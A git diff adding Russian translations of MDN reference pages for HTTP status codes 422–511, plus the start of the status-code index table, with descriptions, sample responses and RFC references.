+<div class="warning">
+<p><strong>Важно</strong>: Клиент не должен повторять запрос повторно, т.е. без модификаций.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">422 Unprocessable Entity</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("4918", "422 Unprocessable Entity" , "11.2")}}</td>
+   <td>HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/http/status/425/index.html b/files/ru/web/http/status/425/index.html
new file mode 100644
index 0000000000..179d9cb1e2
--- /dev/null
+++ b/files/ru/web/http/status/425/index.html
@@ -0,0 +1,40 @@
+---
+title: 425 Too Early
+slug: Web/HTTP/Status/425
+tags:
+  - HTTP
+  - Браузер
+  - Код состояния
+  - Ошибка клиента
+translation_of: Web/HTTP/Status/425
+---
+<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
+
+<p>Код ответа протокола передачи гипертекста (HTTP) <code><strong>425 Too Early</strong></code> означает, что сервер не хочет рисковать обрабатывать запрос, который может быть воспроизведенным, поскольку это открывает возможность для атаки повторного воспроизведения.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">425 Too Early</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("8470", "425: Early Data", "5.2")}}</td>
+   <td>Using Early Data in HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.425")}}</p>
diff --git a/files/ru/web/http/status/426/index.html b/files/ru/web/http/status/426/index.html
new file mode 100644
index 0000000000..7fd92b4649
--- /dev/null
+++ b/files/ru/web/http/status/426/index.html
@@ -0,0 +1,46 @@
+---
+title: 426 Upgrade Required
+slug: Web/HTTP/Status/426
+translation_of: Web/HTTP/Status/426
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа на  HTTP <code><strong>426 Upgrade Required</strong></code>  указывает, что сервер отказывается выполнять запрос с использованием текущего протокола, но может захотеть сделать это после того, как клиент обновится до другого протокола.</p>
+
+<p>Сервер отправляет {{HTTPHeader("Upgrade")}} с этим ответом, чтобы указать требуемый протокол (ы).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">426 Upgrade Required</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>HTTP/1.1 426 Upgrade Required
+Upgrade: HTTP/3.0
+Connection: Upgrade
+Content-Length: 53
+Content-Type: text/plain
+
+This service requires use of the HTTP/3.0 protocol</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "426 Upgrade Required" , "6.5.15")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+ <li>{{HTTPStatus("101")}} <code>Switching Protocol</code></li>
+</ul>
diff --git a/files/ru/web/http/status/428/index.html b/files/ru/web/http/status/428/index.html
new file mode 100644
index 0000000000..f0f6adc9dc
--- /dev/null
+++ b/files/ru/web/http/status/428/index.html
@@ -0,0 +1,39 @@
+---
+title: 428 Precondition Required
+slug: Web/HTTP/Status/428
+translation_of: Web/HTTP/Status/428
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код статуса HTTP <strong>428 Precondition Required</strong> означает, что сервер требует, чтобы запрос был <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Conditional_requests">условным</a> (соответствовал неким предварительно заданным условиям).</p>
+
+<p>Как правило, это означает, что требуемый заголовок предварительного условия, например {{HTTPHeader("If-Match")}} отсутствует .</p>
+
+<p>Если заголовок предусловия <strong>не соответствует</strong> состоянию на стороне сервера, ответ должен быть {{HTTPStatus(412)}} <code>Precondition Failed</code>.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">428 Precondition Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "428 Precondition Required" , "3")}}</td>
+   <td>Расширенные коды статуса HTTP</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Conditional_requests">Условные запросы HTTP</a></li>
+ <li>{{HTTPHeader("If-Match")}}</li>
+ <li>{{HTTPStatus(412)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/429/index.html b/files/ru/web/http/status/429/index.html
new file mode 100644
index 0000000000..bfec2e5cc5
--- /dev/null
+++ b/files/ru/web/http/status/429/index.html
@@ -0,0 +1,42 @@
+---
+title: 429 Too Many Requests
+slug: Web/HTTP/Status/429
+translation_of: Web/HTTP/Status/429
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>429 Too Many Requests</strong></code> код ответа указывает, что пользователь отправил слишком много запросов за последнее временя ("ограничение скорости" или "rate limiting" ).</p>
+
+<p>В этот ответ может быть включен  {{HTTPHeader("Retry-After")}}, указывающий, как долго ждать нового запроса.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">429 Too Many Requests</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="notranslate">HTTP/1.1 429 Too Many Requests
+Content-Type: text/html
+Retry-After: 3600</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "429 Too Many Requests" , "4")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+<li><a href="https://www.exai.com/blog/429-error">429 Too Many Requests</a></li>
+</ul>
diff --git a/files/ru/web/http/status/431/index.html b/files/ru/web/http/status/431/index.html
new file mode 100644
index 0000000000..691fb74671
--- /dev/null
+++ b/files/ru/web/http/status/431/index.html
@@ -0,0 +1,37 @@
+---
+title: 431 Request Header Fields Too Large
+slug: Web/HTTP/Status/431
+translation_of: Web/HTTP/Status/431
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>431 Request Header Fields Too Large</strong></code>Код состояния ответа указывает, что сервер не желает обрабатывать запрос, потому что его поля заголовка слишком велики. Запрос может быть повторно представлен после уменьшения размера полей заголовка запроса.</p>
+
+<p>Его можно использовать, если общее количество полей заголовка запроса слишком велико или когда одно поле заголовка слишком велико.</p>
+
+<p>Эта ошибка не должна происходить в хорошо проверенных производственных системах, но ее можно найти чаще при тестировании новой системы.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">431 Request Header Fields Too Large</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "431 Request Header Fields Too Large" , "5")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Request header")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/451/index.html b/files/ru/web/http/status/451/index.html
new file mode 100644
index 0000000000..426cde0317
--- /dev/null
+++ b/files/ru/web/http/status/451/index.html
@@ -0,0 +1,61 @@
+---
+title: 451 Unavailable For Legal Reasons
+slug: Web/HTTP/Status/451
+translation_of: Web/HTTP/Status/451
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> HTTP-код ответа <code><strong>451</strong></code><strong><code> Unavailable For Legal Reasons</code></strong>  указывает, что пользователь запросил ресурс, который недоступен по юридическим причинам, например веб-страница, заблокированная из-за судебных исков.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">451 Unavailable For Legal Reasons</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример ответа берется из IETF RFC (см. ниже) и содержит ссылку на {{interwiki("wikipedia", "Monty_Python's_Life_of_Brian", "Monty Python's Life of Brian")}}.</p>
+
+<p>Обратите внимание, что {{HTTPHeader("Link")}}также может содержать отношение a <code>rel="blocked-by"</code>, идентифицирующее объект, ответственный за недоступный ресурс, например имя человека или организации, которые предъявили законный запрос В результате чего удаление содержимого.</p>
+
+<pre>HTTP/1.1 451 Unavailable For Legal Reasons
+Link: &lt;https://spqr.example.org/legislatione&gt;; rel="blocked-by"
+Content-Type: text/html
+
+&lt;html&gt;
+&lt;head&gt;&lt;title&gt;Unavailable For Legal Reasons&lt;/title&gt;&lt;/head&gt;
+&lt;body&gt;
+&lt;h1&gt;Unavailable For Legal Reasons&lt;/h1&gt;
+&lt;p&gt;This request may not be serviced in the Roman Province
+of Judea due to the Lex Julia Majestatis, which disallows
+access to resources hosted on servers deemed to be
+operated by the People's Front of Judea.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7725", "451 Unavailable For Legal Reasons")}}</td>
+   <td>An HTTP Status Code to Report Legal Obstacles</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "451")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_451", "Wikipedia: HTTP 451")}}</li>
+ <li>{{interwiki("wikipedia", "Fahrenheit_451", "Wikipedia: Fahrenheit 451")}} (which gave this status code its number)</li>
+</ul>
diff --git a/files/ru/web/http/status/500/index.html b/files/ru/web/http/status/500/index.html
new file mode 100644
index 0000000000..0e64be8339
--- /dev/null
+++ b/files/ru/web/http/status/500/index.html
@@ -0,0 +1,45 @@
+---
+title: 500 Internal Server Error
+slug: Web/HTTP/Status/500
+tags:
+  - HTTP
+  - Код ошибки
+  - Ошибка сервера
+translation_of: Web/HTTP/Status/500
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа сервера <code><strong>500 Internal Server Error</strong></code>  указывает на то, что сервер столкнулся с неожиданной ошибкой, которая помешала ему выполнить запрос.</p>
+
+<p>Этот код является обобщённым ответом на перехват всех исключений, которые не были обработаны должным образом. Обычно это означает, что сервер не смог найти более подходящего кода ответа. <span id="result_box" lang="ru"><span>Зачастую администраторы сервера регистрируют (логируют) сообщения об ошибках, подобных коду состояния 500 (включая дополнительную информацию о запросе), чтобы предотвратить повторение ошибки в будущем.</span></span></p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">500 Internal Server Error (Внутренняя ошибка сервера)</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden"><span id="result_box" lang="ru"><span>Таблица совместимости на этой странице создается из структурированных данных.</span></span> Е<span id="result_box" lang="ru"><span>сли вы хотите внести свой вклад в эти данные, пожалуйста, перейдите на </span></span><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и пришлите нам "pull-request" запрос.</p>
+
+<p>{{Compat("http.status.500")}}</p>
+
+<h2 id="Дополнительная_информация">Дополнительная информация</h2>
+
+<ul>
+ <li><a href="https://www.exai.com/blog/http-error-500-wordpress">500 Internal Server Error</a></li>
+</ul>
diff --git a/files/ru/web/http/status/501/index.html b/files/ru/web/http/status/501/index.html
new file mode 100644
index 0000000000..4f13aabd5e
--- /dev/null
+++ b/files/ru/web/http/status/501/index.html
@@ -0,0 +1,39 @@
+---
+title: 501 Not Implemented
+slug: Web/HTTP/Status/501
+translation_of: Web/HTTP/Status/501
+---
+<div>
+<p>The HTTP <code><strong>501</strong></code><strong><code> Not Implemented</code></strong> cерверный код ответа на ошибку указывает, что метод запроса не поддерживается сервером и не может быть обработан. Единственными методами, которые необходимы серверам для поддержки (и, следовательно, не должны возвращать этот код), являются {{HTTPMethod("GET")}} и {{HTTPMethod("HEAD")}}.</p>
+
+<p>Обратите внимание, что 501 error не является чем-то, что вы можете исправить, но требует исправления веб-сервером, к которому вы пытаетесь получить доступ.</p>
+</div>
+
+<div class="note">
+<p>По умолчанию ответ 501 можно кэшировать.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">501 Not Implemented</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "501 Not Implemented" , "6.6.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "501")}}</p>
diff --git a/files/ru/web/http/status/502/index.html b/files/ru/web/http/status/502/index.html
new file mode 100644
index 0000000000..0e1bccb304
--- /dev/null
+++ b/files/ru/web/http/status/502/index.html
@@ -0,0 +1,47 @@
+---
+title: 502 Bad Gateway
+slug: Web/HTTP/Status/502
+tags:
+  - HTTP
+  - Код статуса
+translation_of: Web/HTTP/Status/502
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP серверный код ответа на ошибку <code><strong>502</strong></code><strong><code> Bad Gateway</code></strong> указывает, что сервер, действуя как шлюз или прокси, получил неверный ответ от восходящего сервера.</p>
+
+<div class="blockIndicator note">
+<p>{{interwiki("wikipedia", "Сетевой_шлюз", "Сетевой шлюз")}} может ссылаться на разные вещи в сети, а ошибка 502 обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или прокси, к которым вы пытаетесь получить доступ.</p>
+</div>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">502 Bad Gateway</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "502 Bad Gateway" , "6.6.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Эта таблица совместимости сгенерирована на основе структурированных данных. Если вы бы хотели сделать свой вклаж в данные, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data/README.md">https://github.com/mdn/browser-compat-data/README.md</a> и отправьте нам pull request.</p>
+
+<p>{{Compat("http/status", "502")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(504)}}</li>
+<li><a href="https://www.exai.com/blog/502-bad-gateway">502 Bad Gateway</a></li>
+</ul>
diff --git a/files/ru/web/http/status/503/index.html b/files/ru/web/http/status/503/index.html
new file mode 100644
index 0000000000..7e5cba9e09
--- /dev/null
+++ b/files/ru/web/http/status/503/index.html
@@ -0,0 +1,43 @@
+---
+title: 503 Service Unavailable
+slug: Web/HTTP/Status/503
+translation_of: Web/HTTP/Status/503
+---
+<div>{{HTTPSidebar}}</div>
+
+<p> HTTP <code><strong>503</strong></code><strong><code> Service Unavailable</code></strong> код состояния сервера, указывающий на то. что сервер не готов обработать данный запрос.</p>
+
+<p>Часто причиной этого оказывается закрытие сервера для технических работ или его перегрузка. Обратите внимание, что вместе с этим ответом следует отправить удобную для пользователя страницу, объясняющую проблему. Данный код должен использоваться для временных состояний, а HTTP-заголовок {{HTTPHeader("Retry-After")}} должен, по возможности, содержать предполагаемое время возвращения в работу.</p>
+
+<p>Стоит позаботиться и о заголовках, связанных с кэшированием, отправляемых с этим кодом, так как код состояния 503 часто является временным условием, и ответы обычно не должны кэшироваться.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox notranslate">503 Service Unavailable</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "503 Service Unavailable" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "503")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Retry-After")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/504/index.html b/files/ru/web/http/status/504/index.html
new file mode 100644
index 0000000000..8d799e906e
--- /dev/null
+++ b/files/ru/web/http/status/504/index.html
@@ -0,0 +1,41 @@
+---
+title: 504 Gateway Timeout
+slug: Web/HTTP/Status/504
+translation_of: Web/HTTP/Status/504
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP код <code><strong>504</strong></code><strong><code> Gateway Timeout</code></strong> , полученный в ответе, указывает на ошибку, что сервер, действуя как шлюз или прокси, не может получить ответ вовремя.</p>
+
+<p>{{interwiki("wikipedia", "Gateway_(telecommunications)", "Gateway")}} могут ссылаться на разные вещи в сети, а 504  error обычно не является чем-то, что вы можете исправить, но требует исправления веб-сервером или Прокси, к которым вы пытаетесь получить доступ.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">504 Gateway Timeout</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/status", "504")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPStatus(502)}}</li>
+</ul>
diff --git a/files/ru/web/http/status/505/index.html b/files/ru/web/http/status/505/index.html
new file mode 100644
index 0000000000..1190c85e22
--- /dev/null
+++ b/files/ru/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>505</strong></code><strong><code> HTTP Version Not Supported</code></strong> код состояния ответа указывает, что версия HTTP, используемая в запросе, не поддерживается сервером.</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">505 HTTP Version Not Supported</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/511/index.html b/files/ru/web/http/status/511/index.html
new file mode 100644
index 0000000000..de17af10eb
--- /dev/null
+++ b/files/ru/web/http/status/511/index.html
@@ -0,0 +1,37 @@
+---
+title: 511 Network Authentication Required
+slug: Web/HTTP/Status/511
+translation_of: Web/HTTP/Status/511
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>The HTTP <code><strong>511 Network Authentication Required</strong></code> код состояния ответа указывает, что клиент должен пройти аутентификацию, чтобы получить доступ к сети.</p>
+
+<p>Этот статус не генерируется серверами происхождения, а путем перехвата прокси-серверов, которые контролируют доступ к сети.</p>
+
+<p>Сетевые операторы иногда требуют некоторой аутентификации, принятия условий или другого взаимодействия с пользователем перед предоставлением доступа (например, в интернет-кафе или в аэропорту). Они часто идентифицируют клиентов, которые еще не сделали этого, используя свой адрес  Media Access Control ({{Glossary("MAC")}}).</p>
+
+<h2 id="Статус">Статус</h2>
+
+<pre class="syntaxbox">511 Network Authentication Required</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Название</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td>
+   <td>Additional HTTP Status Codes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Glossary("Proxy server")}}</li>
+</ul>
diff --git a/files/ru/web/http/status/index.html b/files/ru/web/http/status/index.html
new file mode 100644
index 0000000000..4ca660ba38
--- /dev/null
+++ b/files/ru/web/http/status/index.html
@@ -0,0 +1,353 @@
+---
+title: Коды ответа HTTP
+slug: Web/HTTP/Status
+tags:
+  - HTTP
+  - HTTP Response codes
+  - HTTP response code
+  - код ответа HTTP
+  - коды HTTP
+  - ошибки HTTP
+  - хттп коды ответов
+translation_of: Web/HTTP/Status
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Код ответа (состояния) HTTP показывает, был ли успешно выполнен определённый HTTP запрос. Коды сгруппированы в 5 классов:</p>
+
+<ol>
+ <li>Информационные 100 - 199</li>
+ <li>Успешные 200 - 299</li>
+ <li>Перенаправления 300 - 399</li>
+ <li>Клиентские ошибки 400 - 499</li>
+ <li>Серверные ошибки 500 - 599</li>
+</ol>
+
+<p><font><font>Коды состояния определены в </font></font><a href="https://tools.ietf.org/html/rfc2616#section-10"><font><font>10-ой секции RFC 2616</font></font></a><font><font>. О</font><font>бновленную спецификацию можно найти в </font></font><a href="https://tools.ietf.org/html/rfc7231#section-6.5.1"><font><font>RFC 7231</font></font></a><font><font> . </font></font></p>
+
+<p>Если Вы получли код ответа (состояния), которого нет в данном списке, в таком случае он является не стандартизированным кодом ответа (состояния), вероятней всего он кастомный сервера.</p>
+
+<p>Следующая таблица содержит список всех кодов и их значения:</p>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col">Код ответа</th>
+   <th scope="col">Название</th>
+   <th scope="col">Описание</th>
+   <th scope="col">Версия HTTP</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4"><em>Информационные</em></th>
+  </tr>
+  <tr>
+   <td id="100">100</td>
+   <td>Continue</td>
+   <td>"Продолжить". Этот промежуточный ответ указывает, что запрос успешно принят и клиент может продолжать присылать запросы либо проигнорировать этот ответ, если запрос был завершён.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td id="101">101</td>
+   <td>Switching Protocol</td>
+   <td>"Переключение протокола". Этот код присылается в ответ на запрос клиента, содержащий заголовок <code>Upgrade:</code>, и указывает, что сервер переключился на протокол, который был указан в заголовке. Эта возможность позволяет перейти на несовместимую версию протокола и обычно не используется.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td>102</td>
+   <td>Processing</td>
+   <td>"В обработке". Этот код указывает, что сервер получил запрос и обрабатывает его, но обработка еще не завершена.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td>103</td>
+   <td>Early Hints</td>
+   <td>"Ранние подсказки". В ответе сообщаются ресурсы, которые могут быть загружены заранее, пока сервер будет подготовливать основной ответ. <a href="https://datatracker.ietf.org/doc/rfc8297">RFC 8297 (Experimental)</a>.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <th colspan="4"><em>Успешные</em></th>
+  </tr>
+  <tr>
+   <td id="200">200</td>
+   <td>
+    <p>OK</p>
+   </td>
+   <td>"Успешно". Запрос успешно обработан. Что значит "успешно", зависит от метода HTTP, который был запрошен:
+    <ul>
+     <li>GET: "ПОЛУЧИТЬ". Запрошенный ресурс был найден и передан в теле ответа.</li>
+     <li>HEAD: "ЗАГОЛОВОК". Заголовки переданы в ответе.</li>
+     <li>POST: "ПОСЫЛКА". Ресурс, описывающий результат действия сервера на запрос, передан в теле ответа.</li>
+     <li>TRACE: "ОТСЛЕЖИВАТЬ". Тело ответа содержит тело запроса полученного сервером.</li>
+    </ul>
+   </td>
+   <td>HTTP/0.9 и выше</td>
+  </tr>
+  <tr>
+   <td id="201">201</td>
+   <td>Created</td>
+   <td>"Создано". Запрос успешно выполнен и в результате был создан ресурс. Этот код обычно присылается в ответ на запрос PUT "ПОМЕСТИТЬ".</td>
+   <td>HTTP/0.9 и выше</td>
+  </tr>
+  <tr>
+   <td id="202">202</td>
+   <td>Accepted</td>
+   <td>"Принято". Запрос принят, но ещё не обработан. Не поддерживаемо, т.е., нет способа с помощью HTTP отправить асинхронный ответ позже, который будет показывать итог обработки запроса. Это предназначено для случаев, когда запрос обрабатывается другим процессом или сервером, либо для пакетной обработки.</td>
+   <td>HTTP/0.9 и выше</td>
+  </tr>
+  <tr>
+   <td id="203">203</td>
+   <td>Non-Authoritative Information</td>
+   <td>"Информация не авторитетна". Этот код ответа означает, что информация, которая возвращена, была предоставлена не от исходного сервера, а из какого-нибудь другого источника. Во всех остальных ситуациях более предпочтителен код ответа 200 OK.</td>
+   <td>HTTP/0.9 и 1.1</td>
+  </tr>
+  <tr>
+   <td id="204">204</td>
+   <td>No Content</td>
+   <td>"Нет содержимого". Нет содержимого для ответа на запрос, но заголовки ответа, которые могут быть полезны, присылаются. Клиент может использовать их для обновления кешированных заголовков полученных ранее для этого ресурса.</td>
+   <td>HTTP/0.9 и выше</td>
+  </tr>
+  <tr>
+   <td id="205">205</td>
+   <td>Reset Content</td>
+   <td>"Сбросить содержимое". Этот код присылается, когда запрос обработан, чтобы сообщить клиенту, что необходимо сбросить отображение документа, который прислал этот запрос.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <td id="206">206</td>
+   <td>Partial Content</td>
+   <td>"Частичное содержимое". <span id="result_box" lang="ru"><span class="hps">Этот код ответа</span> <span class="hps">используется, когда клиент присылает </span><span class="hps">заголовок</span> <span class="hps">диапазона</span><span>, чтобы</span> выполнить <span class="hps">загрузку отдельно,</span> <span class="hps">в</span> <span class="hps">несколько потоков</span></span>.</td>
+   <td>Только HTTP/1.1</td>
+  </tr>
+  <tr>
+   <th colspan="4"><em>Сообщения о перенаправлениях</em></th>
+  </tr>
+  <tr>
+   <td id="300">300</td>
+   <td>Multiple Choice</td>
+   <td>
+    <p><span id="result_box" lang="ru"><span>"</span></span><span class="short_text" id="result_box" lang="ru"><span class="alt-edited">Множественный выбор</span></span>"<span lang="ru"><span>. </span></span>Этот код ответа присылается, когда з<span lang="ru"><span>апрос</span> <span>имеет более чем</span> <span>один из возможных</span> <span>ответов</span><span>.</span> И <span>User-agent </span><span>или</span> <span>пользователь должен</span> <span>выбрать один из ответов</span><span>. </span></span>Не существует стандартизированного способа выбора одного из полученных ответов.</p>
+   </td>
+   <td>HTTP/1.0 and later</td>
+  </tr>
+  <tr>
+   <td id="301">301</td>
+   <td>Moved Permanently</td>
+   <td>
